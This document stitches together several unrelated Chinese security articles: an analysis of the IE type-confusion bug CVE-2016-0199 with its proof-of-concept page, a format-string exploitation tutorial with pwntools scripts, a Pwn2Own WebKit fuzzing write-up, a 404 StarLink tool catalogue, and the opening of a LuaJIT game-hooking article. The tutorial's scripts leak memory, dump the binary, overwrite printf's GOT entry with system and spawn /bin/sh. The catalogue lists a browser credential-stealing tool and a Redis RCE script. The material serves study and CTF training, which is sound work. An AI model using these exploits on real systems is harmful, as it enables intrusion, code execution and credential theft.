* 漏洞影响：远程代码执行(RCE)/拒绝服务攻击 (DoS)
* CVSS 2.0：9.3
`mshtml.dll`组件在将`CElement`—>`CAttributeCollection`—>`CAttrArray`—>`Attribute.nodeValue`复制到`CAttribute`—>`Variant`时，并未对其进行校验，以致类型混淆，进而可造成任意代码执行。
### 0x01.2 漏洞影响
Microsoft Internet Explorer 9 through 11
### 0x01.3 修复方案
[MS16-063](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-063)
## 0x02 漏洞分析
### 0x02.1 分析环境
* OS版本：Windows 7 Service Pack 1 x86
* Internet Explorer版本：9.0.8112.16421
* mshtml.dll版本：9.0.8112.16684
* jscrip9.dll版本：9.0.8112.16684
### 0x02.2 详细分析
分析用POC来自[exploit-db](https://www.exploit-db.com/exploits/39994)：
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
oElement = document.createElement("IMG");
var oAttr = document.createAttribute("loop");
oAttr.nodeValue = oElement;
oElement.loop = 0x41424344; // Set original value data to 44 43 42 41
oElement.setAttributeNode(oAttr); // Replace oElement with original value data
oElement.removeAttributeNode(oAttr);
CollectGarbage(); // Use original value data as address 0x41424344 of a vftable
</script>
`document.createElement("IMG");`语句对应实现为`mshtml!CDocument::createElement`，其执行流如下：
首先分配堆块用于存储`CImgElement`对象：
之后由`CElement::CElement`完成初始化操作：
完成`CImgElement`对象创建：
`var oAttr =
document.createAttribute("loop");`语句对应实现为`mshtml!CDocument::createAttribute`，其执行流如下：
分配堆块用于存储`CAttribute`对象，之后由`CAttribute::CAttribute`完成初始化操作：
`CAttribute`对象偏移0x24处存储属性名：
`oAttr.nodeValue =
oElement;`语句对应实现为`mshtml!CAttribute::put_nodeValue`，其调用`CAttribute::PutNodeValueVariantHelper`完成功能。首先是复制VARIANT类型对象(存储`nodeValue`值)至偏移0x28处：
之后判断该`CAttribute`对象是否为Tracked Object，如果不是则将其设为Root
Object，并加入CRootTracker中(感兴趣的读者可自行分析`CTrackerHelper::SetAsRoot`及`CRootTracker::AddRoot`函数，此部分与GC机制有关，不在此展开)：
`CAttribute`对象偏移0x5C处用于判断其是否为Root Object：
`oElement.loop =
0x41424344;`语句设定`CElement`对象属性，其属性使用数组存储，对应实现为`CAttrArray::Set`。该函数首先判断`CElement`对象偏移0x10处是否置值，若无则分配内存并将返回值写入该处：
于`CImplAry::InsertIndirect`函数中对`CAttributeCollection`(`CElement` offset
0x10)偏移0x04处值与0x00处值进行比较以检查是否需要调整`Attribute Array`存储空间：
由于是首次设定`CElement`对象属性，并未开辟`Attribute
Array`空间，故调用`HeapAlloc`进行分配，具体可分析`CImplAry::EnsureSizeWorker`函数，完成后内存如下：
共4个元素(0x10>>2)，每个元素占用内存空间为0x10。完成属性赋值，并将`Attribute Array`当前元素数量加1：
CElement对象部分结构含义如下：
+0x10 CAttributeCollection
+0x00 The total size of the Attribute Array<<2
+0x04 Number of Attributes
+0x08 CAttrArray
+0x0c
+0x14 CTreeNode
`oElement.setAttributeNode(oAttr);`语句对应实现为`mshtml!CElement::setAttributeNode`，其调用`CElement::VersionedSetAttributeNode`完成功能。首先是执行`MSHTML!CAttribute::PrivateQueryInterface+0x920`函数，该函数会对`esp+30h+var_14`处内存置值，此值会决定后续执行`CAttrArray::Set`函数or`CAttrArray::SetAt`函数：
之后执行`CAttribute::SetElement`函数，对`CAttribute`对象偏移0x3c处及偏移0x08处进行置值，具体流程可自行跟进分析：
`CAttrArray::Set`函数执行完成：
CAttribute对象部分结构含义如下：
+0x24 Attribute Name(Pointer to BSTR)、
+0x28 Variant(Save the nodeValue)
+0x3c CElement
+0x5C IsRootObject
`oElement.removeAttributeNode(oAttr);`语句对应实现为`mshtml!CElement::VersionedRemoveAttributeNode`。漏洞发生在将`CElement`—>`CAttributeCollection`—>`CAttrArray`—>`Attribute.nodeValue`复制到`CAttribute`—>`Variant`(0x28)时，并未对其进行校验，以致类型混淆。正常情形下：
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
oElement1 = document.createElement("IMG");
var oAttr1 = document.createAttribute("loop1");
oAttr1.nodeValue = 0x41424344;
oElement1.setAttributeNode(oAttr1);
oElement1.removeAttributeNode(oAttr1);
CollectGarbage();
</script>
其执行流如下：
而在POC情形下，其执行流：
如此一来，`CAttribute::EnumerateTrackedObjects`传递参数给`jscript9!ScriptEngine::EnumerateTrackingClient`，其在`mov
ecx, [eax]`时便会发生访问错误：
## 0x03 参阅链接
* [对CVE-2016-0199的简单分析](https://bbs.pediy.com/thread-212058.htm)
* [CVE-2016-0199 漏洞分析](https://www.jianshu.com/p/38001618bc2d) | 社区文章 |
Author: **[Hcamael](http://0x48.pw/2017/01/06/0x2c/) (知道创宇404安全实验室)** Date:
2017-03-14
格式化字符串漏洞现在网上有很多相关的文章，原理啥的随便搜搜都是，这篇文章就对格式化字符串漏洞如何利用进行研究。
格式化字符串危害最大的就两点，一点是leak memory，一点就是可以在内存中写入数据，简单来说就是格式化字符串可以进行内存地址的读写。
## Leak Memory
先来对一个简单的Demo进行研究:
// fmt_test.c
int main(int argc, char * argv[])
{
char a[1024];
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
return 0;
}
// $ gcc fmt_test.c -o fmt_test -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test
假设我们不知道该程序的源码，连bin都没有，只是能访问一个这样的应用:
$ nc 127.0.0.1 10001
aaaaaaa
aaaaaaa
在这种情况下，就是去尝试各种漏洞的攻击方法，比如栈溢出漏洞就输入一堆字符，比如`100*"a"`，而格式化字符串漏洞是使用"%x"这类格式化字符串去尝试，比如:
$ nc 127.0.0.1 10001
%x
2c51cce0
得到了这样的返回就说明该应用存在格式化字符串漏洞了，因为没有源代码或bin，并不知道要往哪写啥数据，所以我们可以先leak memory，获取该应用的源码
leak memory利用到的是`%s`格式化字符，它的作用是输出对应参数指向地址的值，也就是说它对应的参数是一个指针，而我们可以得到该指针对应内存数据
我们还可以继续改进该格式化字符，`%2$s`，它表示的意义是输出第二个参数指向的内存的值
那么我们怎么通过上面的格式化字符获取我们想要的内存的地址呢？这就涉及第三个知识点。
格式化字符串漏洞是怎么产生的？首先要有一个函数，比如`read`,
比如`gets`获取用户输入的数据储存到局部变量中，然后直接把该变量作为`printf`这类函数的第一个参数值
其中局部变量是储存在栈中，而且是储存在栈的高位地址上，这里具体细节可以去读读汇编代码，简单的说，进入到一个函数中后，会`sub
rsp,xxx`一段局部变量的栈空间，然后函数的参数啥的都是push到局部变量的栈空间之上
理解了上述的知识点后，我们可以输入想leak数据的内存地址，然后爆破出我们输入数据的位置，不就能leak相应地址的内存的数据了么
比如我输入`ABCD%2$x`，如果输出`ABCD`十六进制值，则说明第二个参数为我们输入的数据的起始位置.
$ nc 127.0.0.1 10001
ABCD%2$x
ABCD400
$ nc 127.0.0.1 10001
ABCD%3$x
ABCD174
$ nc 127.0.0.1 10001
ABCD%4$x
ABCD174
....
$ nc 127.0.0.1 10001
ABCD%11$x
ABCD44434241
这样我们就能得到payload: `addr + %11$s`, 返回值为`addr`指向的内存的字符串，直到`\0`为止
这里我们可以进行测试下(我们现在是处于研究状态，虽然假想没bin，但实际我们是有的，所以可以进行测试来证明我们的结论)
$ objdum -d fmt_test -M intel
....
080485c4 <_fini>:
80485c4: 53 push ebx
80485c5: 83 ec 08 sub esp,0x8
80485c8: e8 33 fe ff ff call 8048400 <__x86.get_pc_thunk.bx>
80485cd: 81 c3 33 1a 00 00 add ebx,0x1a33
80485d3: 83 c4 08 add esp,0x8
80485d6: 5b pop ebx
80485d7: c3 ret
$ py
>>> from pwn import *
>>> p = remote("127.0.0.1",10001)
[x] Opening connection to 127.0.0.1 on port 10001
[x] Opening connection to 127.0.0.1 on port 10001: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 10001: Done
>>> p.send(p32(0x80485c4)+"%11$s")
>>> p.recv()
'\xc4\x85\x04\x08S\x83\xec\x08\xe83\xfe\xff\xff\x81\xc33\x1a'
>>>
从上面的测试代码中可以证明上述所讲的结论, 我们成功leak出相应内存的数据(直到`\x00`为止)
上面爆破出来的11我们称为offset，pwntools有自动化代码可以算出offset:
# fmt_test.py
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = process("a.out")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
我们可以看看其中一条DEBUG数据和结果:
$ python fmt_test.py
...
[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0x22 bytes:
'aaaabaaacaaadaaaeaaaSTART%11$pEND\n'
[DEBUG] Received 0x27 bytes:
'aaaabaaacaaadaaaeaaaSTART0x61616161END\n'
[*] Stopped program './a.out'
[*] Found format string offset: 11
11
测试完了，现在又恢复到没bin状态，有了前面的基础，要dump出整个bin就很容易了
在Linux下，不开PIE保护时，32位的ELF的默认首地址为`0x8048000`，如果开启了PIE保护，则需要根据ELF的魔术头`7f 45 4c
46`进行爆破，内存地址一页一页的往前翻直到翻到ELF的魔术头为止
但是这时候还存在一个问题: 比如我的Payload为:
p = remote("127.0.0.1",10001)
p.send(p32(0x8048000)+"%11$s")
print p.recv()
得到的结果是
$ python fmt_test.py
...
Traceback (most recent call last):
...
EOFError
...
发生了EOFError, 这是因为
>>> p32(0x8048000)
'\x00\x80\x04\x08'
`printf` 根据`\x00`判断结尾
所以我们需要更改下payload
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote("127.0.0.1",10001)
p.send("%13$saaa" + p32(0x8048000))
print p.recv()
可以成功dump数据了:
$ python fmt_test.py
[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0xc bytes:
00000000 25 31 33 24 73 61 61 61 00 80 04 08 │%13$│saaa│····││
0000000c
[DEBUG] Received 0xa bytes:
00000000 7f 45 4c 46 01 01 01 61 61 61 │·ELF│···a│aa│
0000000a
原理都懂了，可以写payload去dump 整个bin回来了
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
f = open("source.bin", "ab+")
begin = 0x8048000
offset = 0
while True:
addr = begin + offset
p = process("a.out")
p.sendline("%13$saaa" + p32(addr))
try:
info = p.recvuntil("aaa")[:-3]
except EOFError:
print offset
break
info += "\x00"
p.close()
offset += len(info)
f.write(info)
f.flush()
f.close()
内存数据dump下来后，虽然跟原始bin有很大不同，也运行不了，但是丢到ida中任然是可以看的:
# Write
二进制漏洞的最终目的都是要getshell，所以在我们获取到bin后，接下来就是要getshell了
不过之前的demo过于简单，没有什么好的getshell的方法，对demo进行下修改.
// fmt_test2.c
#include <stdio.h>
int main(int argc, char * argv[])
{
char a[1024];
while(1)
{
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
fflush(stdout);
}
return 0;
}
// $ gcc fmt_test2.c -o fmt_test2 -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test2
和之前的demo比，多了循环，不像之前一样一下就退出了
在这种情况下，我们可以很容易只依靠格式化字符串漏洞进行攻击
利用的逻辑很简单，根据之前的知识点，leak出bin，然后获取到`printf`函数的got表地址，然后把这个地址的值改为`system`函数的地址，在下次循环的时候，输入`/bin/sh`，则`printf(a);`实际执行的却是`system('/bin/sh')`
利用过程中，第一个知识点: dump 内存数据，也就是上面的内容，得到bin后，可以很容易的获取到got表信息
接下来第二个知识点就是获取`system`函数的地址，不过却需要爆破跑
每次我首先获取`printf`函数的地址，然后再根据自己机子上`printf`和`system`函数之间的差值估测一个大概范围进行爆破，得到的数据和`system`函数中的一些特征数据进行对比，判断是否是system函数
这一步跳过，现在假设自己有libc库，我本地的libc中，`printf`和`system`函数的差值为:`59600`
最后一步，就是通过格式化字符串内容进行写内存了，覆盖got表中的值
这里我们可以使用pwntools神器:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
printf_got = 0x804a010
system_add = 0xaaaaaaaa
def exec_fmt(payload):
p.sendline(payload)
return p.recv()
p = remote("127.0.0.1", 10001)
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
上述代码中`autofmt =
FmtStr(exec_fmt)`到这行的内容之前都讲过，接下来就是`fmtstr_payload`函数，这个函数的作用是用来生成格式化字符串漏洞写内存的payload.
上述代码的第一个参数为offset偏移，第二个参数是一个字典，意义是往key的地址，写入value的值，也就是往`0x804a010`地址写入数据`0xaaaaaaaa`
我们来看看输出的payload:
...
>>> payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
>>> payload
'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08%154c%11$hhn%12$hhn%13$hhn%14$hhn'
开头16bytes是4个地址:
0x0804a010
0x0804a011
0x0804a012
0x8004a012
然后是格式化字符串:`%154c`, 输出hex(154)==0x9a bytes的字符，再加上之前的16bytes地址，一共有0xaa bytes
第三部分也是格式化字符串: `%11$hhn%12$hhn%13$hhn%14$hhn`，往第11, 12, 13,
14个参数指向的地址写入一个值，该值等于之前输出的byte数，在这里就是0xaa
而偏移值为11, 所以第11个参数为payload头，也就是`0x0804a010`，然后以此类推
就是通过上述逻辑往相应地址写入相应值的
所以可以写出exp:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote("127.0.0.1", 10001)
# 获取printf的libc地址
printf_got = 0x804a010
leak_payload = "b%13$saa" + p32(printf_got)
p.sendline(leak_payload)
p.recvuntil("b")
info = p.recvuntil("aa")[:-2]
print info.encode('hex')
# 计算system的libc地址
print_add = u32(info[:4])
p_s_offset = 59600 # addr(printf) - addr(system)
system_add = print_add - p_s_offset
# 生成payload
payload = fmtstr_payload(11, {printf_got: system_add})
# 发送payload
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
## 总结
在前几天的NJCTF中有一个pingme的PWN题就是没有源码的格式化字符串漏洞.
二进制文件我拖下来了在我的Github2上
有兴趣的可以自己搭个环境试试看，该题就是只有一个远程可访问的服务，没有bin和libc，不过这题的libc可以通过别的题获取到，所以也可以算是已知libc的题
思路同我上面demo所讲.
## 参考
1. [格式化字符串漏洞简介](http://paper.seebug.org/papers/Archive/drops2/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B.html)
2. <https://github.com/Hcamael/CTF_repo/tree/master/NJCTF%202017/Pwn200(pingme)>
3. <http://python3-pwntools.readthedocs.io/en/latest/fmtstr.html>
* * * | 社区文章 |
原文：<https://blog.ret2.io/2018/06/13/pwn2own-2018-vulnerability-discovery/>
漏洞挖掘是[漏洞利用开发](http://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/
"漏洞利用开发")生命周期的第一个阶段。并且，这一阶段的持续时间是“因洞而异”的，这是因为，对于不同目标的来说，搜索空间、代码质量和评估过程可能会存在巨大的差异。此外，到底优先采用手动方式还是自动方式进行漏洞挖掘，对于挖掘时间也存在显著影响，并且通常难以有效权衡。
作为我们的Pwn2Own
2018博客系列的第二部分，本文将为读者详细介绍如何利用我们研究复杂软件对象（如[Safari](https://www.apple.com/safari/
"Safari")浏览器）的方法，来缩小审计范围，选择漏洞挖掘策略，并开发相应的浏览器fuzzer。
由我们基于语法的JS fuzzer生成的JavaScript测试用例代码片段
关于这个博客系列以及整个Pwn2Own
2018漏洞利用链的概述，请参阅[第一篇](https://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/ "第一篇")文章。
**初步侦察**
* * *
面对大型软件数百万行的代码，要想从中挖掘安全漏洞的话，可能会有一种闷头一击的感觉。为了克服这一点，最重要的事情就是，要设法掌握目标软件的基础知识，同时，这也是零日漏洞利用过程中最不光鲜照人部分：初步侦查。
目标软件的作用是什么？用户如何与软件交互？该项目是如何构建的？它的主要组成部分是哪些？它过去的漏洞是什么样的？
总之，这一步就是汇总与目标相关的[文档](https://lmgtfy.com/?q=pWebKit+Architecture
"文档")或[安全文献](https://lmgtfy.com/?q=Apple+Safari+Exploit+Writeup
"安全文献")，并花时间来深入研究它们。为此，需要建立链接列表并做好笔记，但是有一点要记住：不要企图掌握一切知识。
现实世界的漏洞利用过程往往是从对现有资源的详尽研究开始起步的
如果攻击目标没有公开的研究文献或文档，那么考察与目标软件（例如，Google的[v8](https://en.wikipedia.org/wiki/Chrome_V8
"v8")，Mozilla的[SpiderMonkey](https://en.wikipedia.org/wiki/SpiderMonkey
"SpiderMonkey")，Microsoft的[Chakra](https://en.wikipedia.org/wiki/Chakra_\(JavaScript_engine)%7B:target=%22_blank%22%7D
"Chakra")等）或设备（如果攻击目标为硬件的话）相关的资料通常也会很有帮助。
如果您直接跳过该步骤的话，往往得不偿失：获取同样的知识，如果使用其他方法的话，所需的时间通常是阅读相关文档所需时间的10倍。
**WebKit：锁定一个目标**
* * *
在处理中小型目标时，直接锁定所有目标通常是可行的......然而，当针对规模和复杂性剧增的代码库时，这样做的难度会呈指数级增加。
利用通过研究现有文献所获得的知识，能够迅速缩小待审计代码的范围，直到将攻击面的数量降到可以接受的范围为止——这一点非常重要。
利用上面的策略，我们将[WebKit](https://webkit.org/
"WebKit")的预期审计范围从300多万行C/C++代码减少至70k行以内。通过缩小包围圈，我们就能非常有针对性地对代码库中的子集进行审计，进而有效提高审计的深度和质量。
WebKit源代码目录的树形图
为了在Pwn2Own
2018大赛中取胜，我们将目标定为JavaScriptCore，即Safari浏览器的JS引擎。当然，这个决定也不是临时起意，而是建立在深入考察现有研究文献的基础上的，事实证明，这是一个非常正确的决策。虽然JS引擎中的漏洞已经越来越少，但这些漏洞的[高度可利用性](https://github.com/tunz/js-vuln-db "高度可利用性")却是不容忽视的。
选定JavaScriptCore后，尽管考察范围已经大为缩小，但即使如此，光是JSC本身的代码，也有35万行左右的C/C++代码，这仍是一个巨大的挑战。为了熟悉代码库，我们需要将考察范围进一步缩小，直到缩小到一个“平易近人”的程度为止。
JavaScriptCore源代码目录的树形图。JavaScript运行时以红色突出显示
构成JS运行时的C/C++代码（上面用红色突出显示）几乎可以直接映射为编写JavaScript时使用的高级对象。实际上，运行时是所有JS引擎的表层。
这个高级层中的文件大部分位于/Source/JavaScriptCore/runtime中：
JavaScriptCore运行时目录，在前两张图片中都显示为红色
由于这里只关注JSC的runtime文件夹，所以，我们的考察范围会降低到70k行左右的代码。当然，这个数字仍然相当可观，但是，通过缩小考察范围，使得我们的任务变得更加容易实现了。最后，到底降低到什么程度才算是“合理的”，将取决于您计划动用的资源（时间、资金和人员）和漏洞挖掘策略。
选择目标后，接下来要做的事情就是选择一种漏洞挖掘方法。
**代码审计策略**
* * *
有效的软件（安全）审计可以采用两种不同的方法。当然，至于选择哪一种方法，虽然会受到个人的偏好的影响，但最主要的决定因素，是由潜在的优先级和动机决定的。
[Fuzzing](https://en.wikipedia.org/wiki/Fuzzing
"Fuzzing")通常是许多安全爱好者的首选策略，因为它通常成本低且富有成效。我们知道，Fuzzer可以在很短的时间内覆盖大量的攻击面，但代价是我们作为人类可以提供的洞见和“创造力”却派不上用场。使用fuzzer快速查找漏洞虽然简单有效，但是凡事有利即有弊，其他人也可以使用这种方法，所以很容易出现“撞车”现象。换句话说，这些漏洞通常具有较短的保质期。
[源代码审查](https://en.wikipedia.org/wiki/Code_review
"源代码审查")，通常既繁琐又令人沮丧，对于经过严格审查的源代码来说，尤其如此。但是对于那些坚持不懈的人来说，往往能够发现根源性的漏洞，这些漏洞对于大多数模糊测试者甚至其他类型的审计人员来说，都是遥不可及的。因为，这些安全漏洞的特点是有效期往往更持久，因此，通常是漏洞收购商的高价收购对象。
然而，对于参赛而言，侧重于模糊测试方法是比较合理的。我们为JSC设定的搜索层是一个非常有挑战性的目标，因为多年来它一直是众矢之的。此外，该层所处的位置也很浅，并且是WebKit中经过了最严格的检测的代码，因为它们经过了模糊测试者或源代码审查者的严格考验。不过，在当今的环境下面，在这个范围内发现的漏洞，不太可能长期有效。
在下文中，我们将为读者详细介绍构建JS fuzzer的方法和注意事项。
**基于语法的Fuzzing测试**
* * *
经典fuzzing测试技术（例如比特位翻转、简单的输入变异和测试用例拼接）通常无法用于高度结构化的上下文输入，如解释语言（JavaScript）。为了对这种类型的输入进行fuzzing测试，最好的方法是使用[语法](https://en.wikipedia.org/wiki/Formal_grammar
"语法")来合成一些不仅语法正确并且语义合理的测试用例。
实际上，语法通常可以通过分析师以手动方式将其表示为一组用于构建数据的“规则”。例如，下面让我们编写一些简单的语法来生成数学表达式：
digit :=
1
2
3
...
operator :=
+
- *
...
利用这些“语言”原语，我们就能够打造出更高级的新型语法结构（如数学表达式）：
expr :=
+digit+ +operator+ +digit+
为了让读者对这个概念有一个感性的认识，我们让测试用例生成器使用我们编写的语法规则，来输出任意数量的随机表达式：
1 + 1
1 * 2
3 - 2
2 + 3
...
实际上，我们可以将该想法推广到更复杂的任务上面，例如生成合乎语法的有效JavaScript代码。当然，为此需要阅读相关[规范](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference "规范")并将它们转换为相应的语法定义。
**结束语**
* * *
在本文中，我们为读者详细介绍了在挖掘像浏览器这样高度复杂的攻击对象的过程中，如何通过初步侦查确定合理的攻击目标，选择合适的漏洞挖掘方法，最后，还为读者介绍了我们使用的基于语法的Fuzzing测试方法。在本文的下篇中，我们将继续为读者奉献更多的精彩内容。 | 社区文章 |
**作者：知道创宇404实验室
时间：2020年12月21日 **
The 404 Starlink Project was started by Knownsec 404Team in 2020. We aim to
denfend network and promote the Instrumentalizing of security research in
different fields through open source or open methods. Just like Starlink, this
project will link researchers with different security background.
Not only large tools which break security barriers，various small tools that
optimizing the daily experience are included. We will open all tools developed
by 404 Team, and continue to collect pain points in the process of security
research and penetration testing. The security field used to have various
problems, like tools jumbled, different levels obvious, and open source be
unmaintained. Through the 404 Starlink Project, we wish security field would
become a better place where people like to communicate and progress together.
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
[“404星链计划”](https://github.com/knownsec/404StarLink-Project)主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
2020年11月，知道创宇404实验室正式推出星链计划2.0。通过星链计划核心社群成员作为核心，筛选 **优质、有意义、有趣、坚持维护**
的开源项目加入星链计划2.0，由404实验室核心成员及星链计划核心成员作为背书，将优质的开源项目汇聚成星河，为立足于不同安全领域的安全研究人员指明方向。代号
**Galaxy** 。
同时，真正优质的开源项目将会优先推荐KCON 2021兵器谱，在KCON
2021上获得专属的曝光机会。404实验室也会为优秀的个人开源维护者提供知道创宇的优先内推绿色通道，星链计划的核心成员群也会不定期送出礼品。
星链计划2.0会将开源项目按照两个核心项作为主要指标：
* 成熟、有意义的开源项目 Open-Projects
* 有新意、解决痛点的开源项目 Fun-tools
入选星链计划2.0的项目至少需要满足以下四个要求：
* 安全相关的各个环节以及链路
* 开源
* 坚持维护
* 通过由404实验室以及星链计划核心成员组成的审阅组审阅
入选项目将由代码质量、技术难度、新颖度等多个维度评价打分(满分5星)，是否坚持维护将作为最重要的评价标准。入选Open-Projects的项目不得超过1年未更新，且超过6个月未更新的项目只能获得上限为4星的评价。入选Fun-Tools分类的开源项目由星链计划2.0核心社群成员判定当前的维护状态，被判定为未维护的项目将会被从星链计划中去除。
参与星链计划2.0的开源项目可以借由星链计划社群与开发者直接沟通，真正将研究人员和开发人员连在一起。
希望星链计划2.0能像北斗七星一样，引领安全研究人员前进的方向。
# Rules
* Positivity: 积极度，工具正处于积极维护期的项目将被标记为In，工具正出于弱维护期的项目将被标记为TBD，工具已经不再维护的的项目将被标记为OUT.
* Score: Open-Projects的评分上限为5星，Fun-tools的评分上限为4星.
# Contents
## 甲方工具向
* Threat identification 威胁识别
* 在攻击发生之前识别，如流量分析等
* Mitigation measures 缓解措施
* 在攻击发生之中缓解威胁，如hids，waf等
* [Juggler](https://github.com/knownsec/404StarLink2.0-Galaxy/blob/master/TOOLS_README.md#juggler)
* 一个也许能骗到黑客的系统。可以作为WAF等防护体系的一环。
* Security inspection 安全检测
* 对目标的安全检测，主要集中在对不同链路的主动安全检测
* Security Monitor 安全监控
* 对某个安全链路的安全监控、管理平台
* [gshark](https://github.com/madneal/gshark)
* 一款开源敏感信息监测系统，支持github、gitlab、searchcode
## 乙方工具向
* Vulnerability Assessment 漏洞探测
* 对目标的各类漏洞探测扫描
* [kunpeng](https://github.com/knownsec/404StarLink2.0-Galaxy/blob/master/TOOLS_README.md#kunpeng)
* Kunpeng是一个Golang编写的开源POC检测框架。
* [myscan](https://github.com/knownsec/404StarLink2.0-Galaxy/blob/master/TOOLS_README.md#myscan)
* myscan由python3开发而成的被动扫描工具。
* Penetration Test 攻击与利用
* 在实际渗透测试过程中涉及到的工具
* [Redis Rogue Server](https://github.com/knownsec/404StarLink2.0-Galaxy/blob/master/TOOLS_README.md#redis-rogue-server)
* Redis 4.x/Redis 5.x RCE利用脚本.
* Information analysis 信息分析
* 对在渗透测试中获取到的各种信息做分析
* [java-object-searcher](https://github.com/knownsec/404StarLink2.0-Galaxy/blob/master/TOOLS_README.md#java-object-searcher)
* java内存对象搜索辅助工具，配合IDEA在Java应用运行时，对内存中的对象进行搜索。比如可以可以用挖掘request对象用于回显等场景。
* [HackBrowserData](https://github.com/moonD4rk/HackBrowserData)
* 一款可全平台运行的浏览器数据导出解密工具
* [frida-skeleton](https://github.com/Margular/frida-skeleton)
* 基于Frida完成的一个更简单易用的安卓hook框架
* [MySQLMonitor & FileMonitor](https://github.com/TheKingOfDuck/MySQLMonitor)
* MySQL实时监控工具 & 文件变化实时监控工具
* Back-penetration, intranet tools 后渗透、内网工具
* 在渗透测试后涉及到的权限维持，或者内网渗透涉及到的工具
* [antSword](https://github.com/knownsec/404StarLink2.0-Galaxy/blob/master/TOOLS_README.md#antSword)
* 中国蚁剑是一款开源的跨平台网站管理工具，一个所有安全从业者都不应该错过的开源项目。
* Others 其他相关
* 其他安全链路下的安全类工具
# Details
## 甲方工具向
这个分类下主要包含甲方工具向的工具，包括4个在甲方常见的安全链路。
## Security Monitor 安全监控
对某个安全链路的安全监控、管理平台。
### [gshark](https://github.com/madneal/gshark)
##### 项目链接：
<https://github.com/madneal/gshark>
##### 项目简述：
一款开源敏感信息监测系统，可以监测包括
github、gitlab（目前不太稳定，由于gitlab对于免费用户不提供代码全文检索API）、searchcode 多平台的敏感信息监测。
##### 推荐评语：
开源敏感信息监控是一个无论从攻击者还是防御者看都绕不过的话题，该工具不但支持多种环境，优秀的底层以及易用的web界面都让他脱颖而出。
## 乙方工具向
这个分类下主要聚焦乙方安全从业人员的不同使用场景。
## Information analysis 信息分析
对在渗透测试中获取到的各种信息做分析。
### [HackBrowserData](https://github.com/moonD4rk/HackBrowserData)
##### 项目链接：
<https://github.com/moonD4rk/HackBrowserData>
##### 项目简述：
hack-browser-data 是一个解密浏览器数据（密码|历史记录|Cookies|书签）的导出工具，支持全平台主流浏览器的数据导出窃取。
##### 推荐评语：
这是一个你无论什么时候都有可能突然用上的工具，基于golang编写的项目也适用于各种不同场合。
### [frida-skeleton](https://github.com/Margular/frida-skeleton)
##### 项目链接：
<https://github.com/Margular/frida-skeleton>
##### 项目简述：
frida-skeleton是基于frida的安卓hook框架，提供了很多frida自身不支持的功能，将hook安卓变成简单便捷，人人都会的事情。
##### 推荐评语：
调试apk项目时不可避免地需要用到frida来做辅助工具，这个项目建立在frida的基础上进一步优化了使用的许多细节以及体验。
### [MySQLMonitor &
FileMonitor](https://github.com/TheKingOfDuck/MySQLMonitor)
##### 项目链接：
<https://github.com/TheKingOfDuck/MySQLMonitor>
<https://github.com/TheKingOfDuck/FileMonitor>
##### 项目简述：
MySQL实时监控工具(代码审计/黑盒/白盒审计辅助工具)、文件变化实时监控工具(代码审计/黑盒/白盒审计辅助工具)。
##### 推荐评语：
这个项目可以说是很特别的一个小工具，很简单的实现方式却解决了很常见的场景，如果说开源项目最大的特点，那一定是特别的思路解决特别的痛点。
# Community
如果有问题可以在各项目下提交issue，如果有不错的工具推荐，可以向github提交issue, 也可以添加下方的讨论组中参与讨论。
1、Github issue: <https://github.com/knownsec/404StarLink2.0-Galaxy/issues>
2、微信群：
微信群有两种添加方式：
(1) 联系Seebug的各位小伙伴拉你入群
(2) 微信群添加方式： 扫描下方二维码添加工作人员个人微信，并备注星链计划，会把大家拉到星链计划交流群中
* * * | 社区文章 |
# 【游戏安全】看我如何通过hook攻击LuaJIT
|
##### 译文声明
本文是翻译文章，文章来源：nickcano.com
原文地址：<https://nickcano.com/hooking-luajit/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
如果你在游戏行业摸爬滚打已久，你肯定听说过Lua这个名词。作为一门强大的脚本语言，Lua已经嵌入到数千种视频游戏中，提供了各种API接口，以便工程人员在游戏客户端以及服务器上添加各种功能。
我会不断强调一个观点：为了让攻击技术更加便捷、更加可靠以及更加高效，最好的方法就是攻击游戏引擎，而不是攻击游戏本身。Hook一大堆函数、定位一大堆地址本身是个很好的办法，然而这意味着只要游戏更新版本，你就需要更新你所使用的偏移量。相反，如果你hook了游戏使用的那些库，这些问题就会迎刃而解。
